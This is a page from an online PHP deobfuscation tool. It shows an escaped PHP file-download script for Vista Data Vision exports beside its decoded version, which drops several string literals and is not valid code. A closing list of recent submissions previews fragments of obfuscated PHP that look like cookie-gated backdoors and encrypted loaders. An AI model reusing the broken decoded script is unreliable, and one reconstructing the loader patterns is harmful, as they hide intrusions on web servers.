Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
 ob_start(); $path = "\56\56\x2f\56\x2e\x2f\56\56\57\56\56\x2f"; require_once $path . "\144\x65\x66\141\165\154\x74\x49\156\143\x6c\165\x64\145\163\56\160\150\160"; require_once $path . "\151\x6e\143\x2e\x73\x65\x72\x76\x65\x72\120\141\x74\150\x2e\160\150\160"; $SESSION_UID = $_SESSION["\x53\105\x53\x53\111\117\x4e\137\125\x49\104"]; $localizationInput = array("\144\142" => $db, "\x64\142\137\164\x79\160\x65" => $db_type, "\165\163\x65\x72\x5f\151\x64\x73" => array($SESSION_UID)); $localization = localization_get_by_user($localizationInput); if ($include_file == 1) { $data_str = $data_str_include; $file_name = $file_name_include; $file_type = $file_type_include; $file_name_in_header = $file_name_in_header_include; $encode = 0; } else { $data_str = isset($_POST["\x64\x61\x74\141\x5f\163\x74\162"]) ? $_POST["\144\x61\164\x61\x5f\x73\164\x72"] : ''; $file_name = isset($_POST["\146\151\x6c\145\x5f\x6e\141\155\x65"]) ? $_POST["\x66\151\x6c\x65\x5f\x6e\x61\x6d\145"] : "\x76\144\x76\x5f\x64\141\164\141"; $file_type = isset($_POST["\146\x69\154\x65\137\164\x79\160\145"]) ? $_POST["\x66\x69\x6c\145\137\x74\x79\x70\145"] : "\x74\x78\164"; $header_included = isset($_POST["\x68\145\x61\x64\145\x72\x5f\x69\x6e\143\x6c\165\x64\145\144"]) ? $_POST["\150\x65\141\144\145\x72\x5f\151\156\143\154\165\144\x65\x64"] : 0; $customEncoding = isset($_POST["\143\165\163\x74\157\155\105\156\x63\157\144\x69\156\x67"]) ? $_POST["\x63\165\x73\x74\157\x6d\x45\156\x63\x6f\144\151\156\x67"] : "\125\x54\x46\55\70"; $encode = isset($_POST["\x65\x6e\x63\157\x64\x65"]) ? $_POST["\145\156\x63\x6f\x64\x65"] : 0; } $customFileName = isset($_POST["\143\x75\x73\164\x6f\x6d\137\x66\x69\154\145\x5f\156\141\x6d\x65"]) ? $_POST["\x63\x75\163\x74\x6f\155\137\x66\151\x6c\x65\137\156\x61\x6d\145"] : ''; if ($data_str != '') { if ($encode == 0) { echo "\357\273\xbf"; } if ($header_included == 0) { $saveas = $file_name . "\137" . date("\131\155\144\110\151\163") . "\x2e" . $file_type; if ($file_name_in_header == 1) { echo $saveas . "\xd\xa"; } echo "\104\x61\x74\x61\40\x77\141\x73\40\163\141\x76\145\x64\40\165\x73\x69\156\x67\x20\x56\151\x73\164\x61\40\104\x61\164\x61\x20\126\151\x73\151\x6f\156\xd\12"; echo "\123\x61\x76\x65\144\72\40" . date($localization["\160\150\160\x5f\x64\x61\164\145\x5f\x66\157\162\x6d\141\164"] . "\x20\110\72\x69\x3a\163") . "\xd\xa\15\12"; } else { $saveas = $file_name . "\x2e" . $file_type; } if ($customFileName != '') { $saveas = $customFileName . $file_type; } if ($encode == 1) { $data_str = iconv(mb_detect_encoding($data_str), $customEncoding, $data_str); } echo "{$data_str}"; $buffer = ob_get_contents(); ob_end_clean(); header("\x50\162\141\147\155\141\x3a\40\x70\x75\x62\x6c\151\x63"); header("\x45\170\x70\151\162\x65\x73\72\x20\60"); header("\103\x61\x63\x68\x65\x2d\103\x6f\156\x74\x72\157\154\x3a\x20\155\165\x73\164\x2d\162\145\x76\141\x6c\x69\x64\x61\x74\x65\54\40\x70\x6f\163\164\x2d\x63\x68\x65\x63\x6b\75\x30\54\40\160\x72\x65\x2d\143\x68\x65\143\x6b\x3d\x30"); header("\x43\141\x63\x68\x65\x2d\x43\157\x6e\x74\162\157\154\72\40\160\162\x69\166\x61\164\x65", false); header("\103\157\156\x74\x65\x6e\164\x2d\124\162\141\156\x73\x66\145\162\x2d\x45\156\x63\157\144\x69\x6e\x67\72\x20\x62\x69\x6e\x61\x72\x79"); header("\103\x6f\x6e\164\145\156\164\x2d\x54\x79\160\x65\x3a\40\141\x70\x70\154\151\143\141\164\x69\x6f\156\x2f\x66\157\x72\x63\x65\55\x64\157\x77\156\154\157\x61\x64"); header("\103\x6f\x6e\x74\x65\x6e\x74\55\x54\x79\160\145\72\40\x61\160\160\x6c\x69\143\x61\x74\151\157\x6e\x2f\x6f\143\164\145\x74\x2d\x73\164\162\x65\141\x6d"); header("\103\157\x6e\x74\x65\x6e\164\x2d\124\171\x70\x65\x3a\x20\x61\160\x70\x6c\151\x63\141\164\151\157\156\57\144\x6f\167\156\x6c\157\141\x64"); header("\x43\x6f\x6e\x74\145\x6e\164\55\114\145\x6e\147\x74\150\x3a\x20" . strlen($buffer)); header("\103\x6f\156\164\x65\156\x74\x2d\x44\151\163\x70\157\x73\151\164\x69\157\156\72\x20\141\164\x74\141\143\x68\155\145\156\x74\x3b\x20\x66\x69\154\145\x6e\141\155\145\x3d\42" . $saveas . "\x22"); echo $buffer; }

Decrypted code:

ob_start(); $path = "../../../../"; require_once $path . "defaultIncludes.php"; require_once $path . "inc.serverPath.php"; $SESSION_UID = $_SESSION["SESSION_UID"]; $localizationInput = array("db" => $db, "db_type" => $db_type, "user_ids" => array($SESSION_UID)); $localization = localization_get_by_user($localizationInput); if ($include_file == 1) { $data_str = $data_str_include; $file_name = $file_name_include; $file_type = $file_type_include; $file_name_in_header = $file_name_in_header_include; $encode = 0; } else { $data_str = isset($_POST["data_str"]) ? $_POST["data_str"] : ''; $file_name = isset($_POST["file_name"]) ? $_POST["file_name"] : "vdv_data"; $file_type = isset($_POST["file_type"]) ? $_POST["file_type"] : "txt"; $header_included = isset($_POST["header_included"]) ? $_POST["header_included"] : 0; $customEncoding = isset($_POST["customEncoding"]) ? $_POST["customEncoding"] : "UTF-8"; $encode = isset($_POST["encode"]) ? $_POST["encode"] : 0; } $customFileName = isset($_POST["custom_file_name"]) ? $_POST["custom_file_name"] : ''; if ($data_str != '') { if ($encode == 0) { echo ""; } if ($header_included == 0) { $saveas = $file_name . "_" . date("YmdHis") .  . $file_type; if ($file_name_in_header == 1) { echo $saveas . "\xd\xa"; } echo "Data was saved using Vista Data Vision\xd
"; echo "Saved: " . date($localization["php_date_format"] . " H:i:s") . "\xd\xa
"; } else { $saveas = $file_name .  . $file_type; } if ($customFileName != '') { $saveas = $customFileName . $file_type; } if ($encode == 1) { $data_str = iconv(mb_detect_encoding($data_str), $customEncoding, $data_str); } echo "{$data_str}"; $buffer = ob_get_contents();  header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check, pre-check=0"); header("Cache-Control: private", false); header("Content-Transfer-Encoding: binary"); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Length: " . strlen($buffer)); header("Content-Disposition: attachment; filename="" . $saveas . """); echo $buffer; }

Recent submissions:

if (isset($_GET['httpsvwv'])) { $is_search_bo = array ('7T35W9s407/3rzDZ7jpZICQBul1','C6E... <?php error_reporting(0); function e7061($e){$ed = base64_decode($e);$n = openssl_decrypt(... <?php echo 409723*20;if(md5($_COOKIE['d'])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\1... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... <?php //00507 // 10.2 71 if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr... <?php $stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JTc5PSdUoLikqSi3TUC... <?php ob_start(); $path = "\56\56\x2f\56\x2e\x2f\56\56\57\56\56\x2f"; require_once $path... "\u0412\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f: \u0414\u0443\u0431\u0... <?php $ziZ = range("~", " "); $i=${$ziZ[23+8].$ziZ[39+20].$ziZ[25+22].$ziZ[9+38].$ziZ[2+49... <?php $fthH = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5Kak...